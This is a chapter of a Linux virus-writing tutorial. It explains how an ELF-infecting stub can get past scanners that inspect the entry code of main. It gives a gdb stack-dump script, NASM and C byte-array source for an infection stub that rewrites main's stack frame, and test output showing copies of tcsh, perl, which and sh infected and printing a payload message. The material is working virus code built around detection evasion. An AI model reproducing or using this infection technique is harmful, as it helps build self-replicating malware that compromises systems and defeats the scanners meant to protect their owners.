The Linux Virus Writing HOWTO
Prev |  | Next

# 11. The stub revisited

| A person who is more than casually interested in computers should be well schooled in machine language, since it is a fundamental part of a computer.
| Donald Knuth

The scanners in Turn the pages and Second scan check program layout for deviations. On a typical Linux distribution this yields good results since all programs are compiled and linked with the same set of tools. But there are legitimate reasons for executables to look different. Some rescue tools and non-free executables are linked statically to be independent of the target system. And then there is asmutils on http://linuxassembly.org/

> asmutils is a set of miscellaneous utilities written in assembly language, targeted on embedded systems and small distributions (e.g. installation or rescue disks); also it contains a small libc and a crypto library. It features the smallest possible size and memory requirements, the fastest speed, and offers fairly good functionality.

The next best approach is to follow the flow of control and verify visited code, starting from the entry point. Again this relies on a certain homogeneity of executables.

1. A very simple check is alignment. We handle that here and here. gcc(1) never starts functions on odd addresses. But neither VIT nor RST seem to care and put the infection after the last byte of the code segment.

2. The improved versions of `patchEntryAddr` in The entry point do a primitive check of the call to `__libc_start_main`. Since we leave the entry point unmodified we pass this test.

3. The next step is to check entry code of functions called by `__libc_start_main`, especially `main`. We are vulnerable to this.

## 11.1. Stack dump

Have a look at the disassembly of a very simple `main`. The interesting part are the first three lines. The `push` and the `pop` set up a stack frame. The following `sub` reserves stack space for local variables, though the example does not use it. Let's examine the stack just after the `sub` was executed.

Command.

    #!/bin/sh
    file=${1:-tmp/magic_elf/magic_elf}
    gdb ${file} -q <<EOT
    	break *0x08048466
    	run
    	backtrace
    	printf "esp=%08x ebp=%08x\n", \$esp, \$ebp
    	x/3xw \$sp
    	x/3xw \$sp + 12
    	x/3xw \$sp + 24
    	x/3xw \$sp + 36
    	x/3xw \$sp + 48
    	x/3xw \$sp + 60
    	x/3xw \$sp + 72
    	x/3xw \$sp + 84
    	x/3xw \$sp + 96
    	x/3xw \$sp + 108
    EOT

Output.

    (gdb) Breakpoint 1 at 0x8048466
    (gdb) Starting program: /home/alba/virus-writing-HOWTO/tmp/magic_elf/magic_elf

    Breakpoint 1, 0x08048466 in main ()
    (gdb) #0  0x08048466 in main ()
    #1  0x4003e316 in __libc_start_main (main=0x8048460 <main>, argc=1,
        ubp_av=0xbffff9c4, init=0x80482e0 <_init>, fini=0x80484c0 <_fini>,
        rtld_fini=0x4000d2fc <_dl_fini>, stack_end=0xbffff9bc)
        at ../sysdeps/generic/libc-start.c:129
    (gdb) esp=bffff94c ebp=bffff958
    (gdb) 0xbffff94c:	0x08048441	0x080494f8	0x080495f8
    (gdb) 0xbffff958:	0xbffff998	0x4003e316	0x00000001
    (gdb) 0xbffff964:	0xbffff9c4	0xbffff9cc	0x080482f6
    (gdb) 0xbffff970:	0x080484c0	0x00000000	0xbffff998
    (gdb) 0xbffff97c:	0x4003e302	0x00000000	0xbffff9cc
    (gdb) 0xbffff988:	0x40151240	0x40015898	0x00000001
    (gdb) 0xbffff994:	0x08048360	0x00000000	0x08048381
    (gdb) 0xbffff9a0:	0x08048460	0x00000001	0xbffff9c4
    (gdb) 0xbffff9ac:	0x080482e0	0x080484c0	0x4000d2fc
    (gdb) 0xbffff9b8:	0xbffff9bc	0x40015eec	0x00000001
    (gdb)

Address | Contents
--- | ---
`esp + 16 = ebp + 4` | return address
`esp + 12 = ebp + 0` | saved ebp

## 11.2. Implementation

Source - infection.asm.

    		BITS 32

    		push	ebp
    		mov	ebp,esp
    		sub	esp,byte 0xc
    		call	wrapper
    		leave
    		ret

    		align	4
    wrapper:	mov	eax,dword 0
    		xchg	eax,[ebp]
    		sub	ebp,byte 4
    		mov	[ebp],eax

    		align 16
    core:

Source - infection.inc.

    const unsigned char Target::infection[]
    __attribute__ (( aligned(16), section(".text") )) =
    {
      0x55,                          /* 00000000: push ebp             */
      0x89,0xE5,                     /* 00000001: mov ebp,esp          */
      0x83,0xEC,0x0C,                /* 00000003: sub esp,byte +0xc    */
      0xE8,0x05,0x00,0x00,0x00,      /* 00000006: call 0x10            */
      0xC9,                          /* 0000000B: leave                */
      0xC3,                          /* 0000000C: ret                  */
      0x90,                          /* 0000000D: nop                  */
      0x90,                          /* 0000000E: nop                  */
      0x90,                          /* 0000000F: nop                  */
      0xB8,0x00,0x00,0x00,0x00,      /* 00000010: mov eax,0x0          */
      0x87,0x45,0x00,                /* 00000015: xchg eax,[ebp+0x0]   */
      0x83,0xED,0x04,                /* 00000018: sub ebp,byte +0x4    */
      0x89,0x45,0x00,                /* 0000001B: mov [ebp+0x0],eax    */
      0x90,                          /* 0000001E: nop                  */
      0x90                           /* 0000001F: nop                  */
    };

Source.

    enum { ENTRY_POINT_OFS = 0x11 };

## 11.3. Test run

Output.

    Infecting copy of /bin/tcsh... wrote 192 bytes, Ok
    Infecting copy of /usr/bin/perl... wrote 192 bytes, Ok
    Infecting copy of /usr/bin/which... wrote 192 bytes, Ok
    Infecting copy of /bin/sh... wrote 192 bytes, Ok

Output.

    ELF is dead baby, ELF is dead.
    /home/alba/virus-writing-HOWTO/tmp/stub_revisited/three/sh_infected
    2.05.8(1)-release
    /usr/bin/which
    ELF is dead baby, ELF is dead.
    /usr/bin/which
    ELF is dead baby, ELF is dead.
    tcsh 6.10.00 (Astron) 2000-11-19 (i386-intel-linux) options 8b,nls,dl,al,kan,rh,color,dspm
    ELF is dead baby, ELF is dead.

    ELF is dead baby, ELF is dead.
    GNU bash, version 2.05.8(1)-release (i386-redhat-linux-gnu)
    Copyright 2000 Free Software Foundation, Inc.

Prev | Home | Next
Doing it in C |  | Suspicious code